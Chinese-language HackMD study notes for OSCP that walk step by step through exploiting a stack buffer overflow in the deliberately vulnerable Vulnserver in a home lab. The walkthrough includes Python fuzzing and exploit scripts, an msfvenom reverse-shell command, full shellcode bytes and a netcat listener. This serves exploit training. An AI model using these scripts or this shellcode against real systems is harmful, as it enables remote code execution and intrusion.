badcat1215
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
Publish Note

Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

Your note will be visible on your profile and discoverable by anyone.
Your note is now live.
This note is visible on your profile and discoverable online.
Everyone on the web can find and read all notes of this public team.
See published notes
Unpublish note
Please check the box to agree to the Community Guidelines.
View profile
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
Buffer Overflows Made Easy 學習筆記 === ###### tags: `OSCP` 影片連結 https://www.youtube.com/watch?v=qSnPayW6F7U&list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G 總共分八部影片 ## Part 1: Introduction 簡單了解一下架構 ![](https://i.imgur.com/NFEcStQ.png) ![](https://i.imgur.com/WIe3imD.png) 整個利用的流程 1. Spiking 2. Fuzzing 3. Finding the Offset 4. Overwriting the EIP 5. Finding Bad Characters 6. Finding the Right Module 7. Generating Shellcode 8. Root! 需要準備的工具 1. Victim Machine: Windows 10 2. Vulnerable Software: Vulnserver 3. Attacker Machine: Kali Linux 4. Debugger: Immunity Debugger 接著就稍微說明一下我的環境建立 我的攻擊機與受害機接著使用虛擬機(VM) ![](https://i.imgur.com/VKgKKZf.png) 我用的是VMware Workstation 15 Pro 受害機是64位元的Win10 (版本1909 OS組建18363.657) 攻擊機是64位元的Kali Linux (kali-linux-2019.3-amd64.iso) http://old.kali.org/kali-images/kali-2019.3/ 兩台虛擬機起好之後,在win10當中下載Vulnserver與Immunity Debugger Vulnserver載點: https://github.com/stephenbradshaw/vulnserver 直接用Github下載ZIP檔,解壓縮後執行EXE的檔案就可以了。 ![](https://i.imgur.com/oOdf5hL.png) Immunity Debugger載點: https://www.immunityinc.com/products/debugger/ 直接下載安裝就可,下載前會詢問一些資料,隨便填填就可以, 安裝前會詢問python 2.7,若沒有的話,繼續安裝,最後它也會幫你安裝好。 ![](https://i.imgur.com/QDEvz61.png) 準備好環境之後,先確認一下兩台機器都有拿到IP, 然後把Win10的防火牆跟Windows Defender都停用。 確認一下兩台機器之間通訊正常,可以互Ping確認看看。 ## Part 2: Spiking 右鍵點選vulnserver,使用管理員的權限執行。 ![](https://i.imgur.com/Azlhgt4.png) ![](https://i.imgur.com/AKrdlNK.png) Immunity Debugger也一樣,使用管理員的權限執行。 ![](https://i.imgur.com/HgUISxi.png) 執行後Debugger後,點選左上角的File選擇Attach, Attach可以讓我們對運行中的程式Debug, 選擇我們開啟的vulnserver,按下Attach。 ![](https://i.imgur.com/KWeIayX.png) ![](https://i.imgur.com/nX1EbpV.png) 這邊應該會看到以下的畫面: ![](https://i.imgur.com/UuVRzLc.png) 這時候右下角應該是顯示Paused, 我們待會在debug過程,因為是要讓程式正常執行, 所以可以按下紅色開始圖示,讓右下角顯示成Running。 如果上面過程沒有找到vulnserver, 可以要確認一下是否vulnserver跟Debugger是否都有用管理員權限執行。 補充一下,Debugger開起來後看到的預設Layout其實就是View下面的CUP。 所以假設你的視窗跑掉了,譬如像是以下這樣: ![](https://i.imgur.com/jtkrRVg.png) 可以點View->CPU(或是快捷鍵Alt+C),再把這個視窗放大最大即可。 當環境都準備好可以正常執行之後,就開始第一個步驟是要來Spiking。 我們先利用Kali連線過去看看vulnserver是否正常。 ```bash= nc -nv 192.168.240.180 9999 ``` 成功的話會顯示如下的畫面,可以輸入HELP查看有甚麼指令。 ![](https://i.imgur.com/IP7fVWf.png) 我的虛擬機IP如下: Attacker Kali: 192.168.240.128 Victim Win10: 192.168.240.180 (練習的時候請記得改成自己的IP) Spiking的用意就是去戳戳看,程式會不會崩潰(crash), 看看有沒有存在Buffer Overflow的漏洞。 我們利用到Kali內建舊有的generic_send_tcp, 直接輸入generic_send_tcp可以看到使用方法: ![](https://i.imgur.com/2xGuzOs.png) 可以參數中有需要spike_script, 這邊針對兩個指令來構造腳本,分別是STATS跟TRUN兩個指令。 stats.spk ```bash= s_readline(); s_string("STATS "); s_string_variable("0"); ``` trun.spk ```bash= s_readline(); s_string("TRUN "); s_string_variable("0"); ``` 執行下面的指令 ```bash= generic_send_tcp 192.168.240.180 9999 stats.spk 0 0 ``` ![](https://i.imgur.com/s2DxScW.png) 可以發現正常連線,vulnserver也正常執行, 接著改用trun.spk去執行,發現沒多久程式就crash了, 可以在debugger的右下角發現程式paused, 並且右上左上畫面都可以看到許多41414141,也就是AAAA。 ![](https://i.imgur.com/yc1zFFY.png) 所以我們第一步先觀察出了,vulnserver的TRUN當中存在Buffer Overflow的問題。 ## Part 3: Fuzzing 第二步Fuzzing的用意是我們要知道,要發送多少個字串才會導致Buffer Overflow。 我們寫一個python的簡易腳本,第一次連線在TRUN指令後發送100個A, 之後每次連線都在後面多增加100個A,直到程式crash, 這樣我們就可以知道需要個Buffer才會造成程式Crash。 1.py ```python= #!/usr/bin/python import sys, socket from time import sleep buf = "A" * 100 while True: try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.240.180',9999)) s.send(('TRUN /.:/' + buf)) s.close sleep(1) print "Fuzzing now is %s bytes" % str(len(buf)) buf = buf + "A"*100 except: print "Fuzzing crashed at %s bytes" % str(len(buf)) sys.exit() ``` 接下來我們要找到特定的EIP的位置, 因為我們要想辦法控制EIP的值, 所以接下來最重要的就是找到EIP覆蓋的位置。 ## Part 4: Finding the Offset 剛剛有提到我們要找到如何控制EIP, 所以我們要知道說EIP之前有多少個buffer, EIP之前需要多少個buffer,也就是我們所謂的offset。 因為剛剛測試差不多2700 bytes就會Crash, 我們利用Kali的內建工具來產生一個周期性的字串, 幫助我們去找到offset的位置, 利用以下指令產生3000個字串, ```bash= /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` ![](https://i.imgur.com/X1uW6HV.png) 把產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dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9" try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.240.180',9999)) s.send(('TRUN /.:/' + offset)) s.close except: print "Error Connect" sys.exit() ``` 首先確認程式crash了,debugger的右下角發現程式paused, 我們來注意一下EIP的值,是386F4337 ![](https://i.imgur.com/VWE3bE1.png) 我們可以利用Kali的內建工具來找到offset的值是多少, 輸入以下 ```bash= /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337 ``` 其中-l就是我們剛剛產生的數量 -q是要查詢的內容 ![](https://i.imgur.com/yQUlWIJ.png) 所以我們就知道offset的值是2003, 也就是說2003個offset內容之後的4個bytes會覆蓋EIP的值。 :::danger 在補充一下 假設產生的payload -l 20, 所以payload可能會長得如下 1A2B3C4D5E7Co8654321 (總共20bytes) 送出後得到的EIP是386F4337 總共4bytes Hex to ASCII就是8oC7 offset算出來是10 表示產生的payload 扣除前面十個 第11個開始就會是EIP的位置 ::: ## Part 5: Overwriting the EIP 知道了offset的數量之後,其實我們就有辦法覆蓋EIP的值了, 這部分就是用3.py,確定一下是有真的覆蓋在EIP上面。 影片中是用BBBB啦,我的腳本是用BCDE確認有hit中EIP的值。 3.py ```python= #!/usr/bin/python import sys, socket shellcode = "A" * 2003 + "BCDE" try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.240.180',9999)) s.send(('TRUN /.:/' + shellcode)) s.close except: print "Error Connect" sys.exit() ``` ![](https://i.imgur.com/2LaufAS.png) 可以看到EIP的值就是45444342,剛好就是EDCB, 所以我們現在可以控制EIP的值了。 ![](https://i.imgur.com/4BcGPaG.png) 可能有人會好奇會甚麼輸入明明是BCDE, 可是EIP的值卻是EDCB,其實是因為Little-Endian的緣故, 關於Little-Endian這邊就不多說明了,有興趣可以自己搜尋看看。 補充一下,如果覺得debugger字太小想放大一些, 可以用Appearance->Font(all)->OEM fixed fond, 或是其他自己喜歡的、習慣的字型來看。 ![](https://i.imgur.com/z8W0jRv.png) ## Part 6: Finding Bad Characters 下一個步驟是要找到Bad Characters, 其實為了之後要注入Shellcode做準備, 我們要看看有哪些字串是這個程式不吃的, 如果說這個字串不能正常在程式當中執行(也就是Bad Chars), 我們就要先記下來,避免之後產生的shellcode有這個Bad Chars。 找到Bad Characters,可以利用一下以下的資源, 把badchars複製貼上到我們的4.py https://github.com/cytopia/badchars 4.py ```python= #!/usr/bin/python import sys, socket badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) shellcode = "A" * 2003 + "BCDE" + badchars try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.240.180',9999)) s.send(('TRUN /.:/' + shellcode)) s.close except: print "Error Connect" sys.exit() ``` 發送之後,因為badchars的payload在EIP之後, 點選ESP的值,選擇Follow in Dump, 可以看到左下角,就會顯示ESP位置內容, 這一大串就是我們發送過去的badchars的payload。 ![](https://i.imgur.com/2bHgkra.png) ![](https://i.imgur.com/fMTIaJ8.png) 不過vulnserver當中並沒有bad char, 看不出甚麼鬼XD 下面圖是一個存在bad char的範例 ![](https://i.imgur.com/bpksDE3.png) ## Part 7: Finding the Right Module 接著我們要找到一個Right Module, 何謂Right Module呢? 就是一個沒有保護機制的Module, 我們可以利用mona來協助我們找到,將mona.py放到以下位置。 ```bash= C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands ``` https://github.com/corelan/mona ![](https://i.imgur.com/OqKSTa1.png) 在Debugger下方的框框中輸入 ```bash= !mona modules ``` 這邊可以看到第一個essfunc.dll沒有用到任何的保護機制, 每個保護機制都寫False,正好是我們需要的。 ![](https://i.imgur.com/xmAhM8T.png) 接著就有點特別了,我們要找到essfunc.dll當中, 組合語言具有JMP ESP的位置, 因為如果我們能將EIP的值這個位置上,那就會Jump到ESP上, 我們只要將Shellcode寫在ESP上,就可以成功執行shellcode。 所以我們先用Kali內建的工具,來找到JMP ESP的Hex是甚麼: ```bash= /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb ``` ![](https://i.imgur.com/aTkwI5I.png) 所以我們知道我們要找到的FFE4, 在Debugger下方的框框中輸入 ```bash= !mona find -s "\xff\xe4" -m essfunc.dll ``` ![](https://i.imgur.com/NyZaIoq.png) 結果顯示成功找到了9個,所以我們就用第一個625011af, 我們將EIP的值覆蓋成625011af,記得要用Little-Endian。 5.py ```python= #!/usr/bin/python import sys, socket from time import sleep # FF E4 (JMP ESP) position 625011af shellcode = "A" * 2003 + "\xaf\x11\x50\x62" try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.240.180',9999)) s.send(('TRUN /.:/' + shellcode)) s.close except: print "Error Connect" sys.exit() ``` 不過要記得執行前先到Debugger, 在 625011AF 的位置先按F2,就是設定break point, 不然./5.py執行之後,EIP指到那個位置就會 JMP ESP 這樣我們沒辦法確定是否有真的將EIP 指到 625011AF。 ![](https://i.imgur.com/A8iqjmK.png) ![](https://i.imgur.com/0mJIIse.png) 按下F2之後,會被Highlight起來: ![](https://i.imgur.com/gjBuITg.png) 執行完後,可以確定EIP的值為625011AF ![](https://i.imgur.com/Msccsxe.png) ## Part 8: Generating Shellcode and Gaining Shells 最後就是我們要在ESP的地方注入Shellcode, 首先我們要先產生Shellcode,執行以下指令: ```bash= msfvenom -p windows/shell_reverse_tcp LHOST=192.168.240.128 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00" ``` IP跟Port記得更換成自己要監聽的IP跟Port。 ![](https://i.imgur.com/lZDYBEh.png) 在攻擊機監聽,輸入以下指令: ```bash= nc -nvlp 4444 ``` 執行以下腳本 6.py ```python= #!/usr/bin/python import sys, socket overflow = ( "\xdb\xd3\xd9\x74\x24\xf4\x5f\x33\xc9\xb1\x52\xbd\xcc\x3d\x38" "\xe7\x31\x6f\x17\x03\x6f\x17\x83\x23\xc1\xda\x12\x47\xd2\x99" "\xdd\xb7\x23\xfe\x54\x52\x12\x3e\x02\x17\x05\x8e\x40\x75\xaa" "\x65\x04\x6d\x39\x0b\x81\x82\x8a\xa6\xf7\xad\x0b\x9a\xc4\xac" "\x8f\xe1\x18\x0e\xb1\x29\x6d\x4f\xf6\x54\x9c\x1d\xaf\x13\x33" "\xb1\xc4\x6e\x88\x3a\x96\x7f\x88\xdf\x6f\x81\xb9\x4e\xfb\xd8" "\x19\x71\x28\x51\x10\x69\x2d\x5c\xea\x02\x85\x2a\xed\xc2\xd7" "\xd3\x42\x2b\xd8\x21\x9a\x6c\xdf\xd9\xe9\x84\x23\x67\xea\x53" "\x59\xb3\x7f\x47\xf9\x30\x27\xa3\xfb\x95\xbe\x20\xf7\x52\xb4" "\x6e\x14\x64\x19\x05\x20\xed\x9c\xc9\xa0\xb5\xba\xcd\xe9\x6e" "\xa2\x54\x54\xc0\xdb\x86\x37\xbd\x79\xcd\xda\xaa\xf3\x8c\xb2" "\x1f\x3e\x2e\x43\x08\x49\x5d\x71\x97\xe1\xc9\x39\x50\x2c\x0e" "\x3d\x4b\x88\x80\xc0\x74\xe9\x89\x06\x20\xb9\xa1\xaf\x49\x52" "\x31\x4f\x9c\xf5\x61\xff\x4f\xb6\xd1\xbf\x3f\x5e\x3b\x30\x1f" "\x7e\x44\x9a\x08\x15\xbf\x4d\xf7\x42\x4f\x0d\x9f\x90\xaf\x1f" "\x3c\x1c\x49\x75\xac\x48\xc2\xe2\x55\xd1\x98\x93\x9a\xcf\xe5" "\x94\x11\xfc\x1a\x5a\xd2\x89\x08\x0b\x12\xc4\x72\x9a\x2d\xf2" "\x1a\x40\xbf\x99\xda\x0f\xdc\x35\x8d\x58\x12\x4c\x5b\x75\x0d" "\xe6\x79\x84\xcb\xc1\x39\x53\x28\xcf\xc0\x16\x14\xeb\xd2\xee" "\x95\xb7\x86\xbe\xc3\x61\x70\x79\xba\xc3\x2a\xd3\x11\x8a\xba" "\xa2\x59\x0d\xbc\xaa\xb7\xfb\x20\x1a\x6e\xba\x5f\x93\xe6\x4a" "\x18\xc9\x96\xb5\xf3\x49\xb6\x57\xd1\xa7\x5f\xce\xb0\x05\x02" "\xf1\x6f\x49\x3b\x72\x85\x32\xb8\x6a\xec\x37\x84\x2c\x1d\x4a" "\x95\xd8\x21\xf9\x96\xc8" ) shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.240.180',9999)) s.send(('TRUN /.:/' + shellcode)) s.close except: print "Error Connect" sys.exit() ``` 腳本中的x90 * 32是為了padding用途, 成功取得reverse shell。 ![](https://i.imgur.com/kT1YTJR.png)

Import from clipboard

Paste your markdown or webpage here...

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.
Upgrade
All
  • All
  • Team
No template.

Create a template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

Slide Example

API Docs

Edit in VSCode

Install browser extension

Contacts

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Get Full History Access

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

Note content is identical to the latest version.
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully